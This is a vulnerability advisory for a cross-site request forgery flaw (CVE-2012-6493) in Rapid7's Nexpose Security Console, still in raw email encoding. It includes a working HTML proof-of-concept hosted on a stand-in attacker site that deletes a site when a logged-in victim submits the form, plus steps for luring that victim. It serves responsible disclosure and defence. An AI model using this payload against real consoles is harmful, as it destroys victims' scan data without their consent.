CVE-2012-6493 - Nexpose Security Console - Cross-Site Request Fo
Product: Nexpose Security Console
Vendor: Rapid7
Version: < 5.5.3
Tested Version: 5.5.1
Vendor Notified Date: December 19, 2012
Release Date: January 2, 2013
Risk: High
Authentication: None required
Remote: Yes
Description:
Multiple Cross-Site Request Forgery (CSRF) vulnerabilities in Nexpose=20
Security Console 5.5.3 and below allow remote attackers to submit=20
actions on a legitimate user=92s behalf.
By not properly checking each URL, an attacker can execute requests on=20
behalf of a legitimate user.
If an authenticated user is tricked into visiting a specially crafted=20
page, it may be possible to perform user-initiated actions on the web=20
application using the victim=92s established session.
Successful exploitation of this vulnerability resulted in deleting scan=20
data and sites during the proof-of-concept.
Exploit steps for proof-of-concept:
1. Create an external site/page:=20
http://attackersite.com/nexpose-csrf.htm that contains:
[code]
<html>
<!-- Nexpose CSRF PoC -->
<body>
<form=20
action=3D"https://nexpose-security-console-site:3780/data/site/delete?sit=
eid=3D1"=20
method=3D"POST" enctype=3D"multipart/form-data">
<input type=3D"submit" value=3D"delete site" />
</form>
<script>
//document.forms[0].submit(); //uncomment to auto-submit
</script>
</body>
</html>
[/code]
2. Lure victim to http://attackersite.com/nexpose-csrf.htm.
3. Site with ID 1 is deleted when form is submitted.
Vendor Notified: Yes
Vendor Response: Quickly escalated and resolved.
Vendor Update: Remediated in 5.5.4.
Reference:
CVE-2012-6493
https://community.rapid7.com/docs/DOC-2065#release5
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
Credit:
Robert Gilbert
HALOCK Security Labs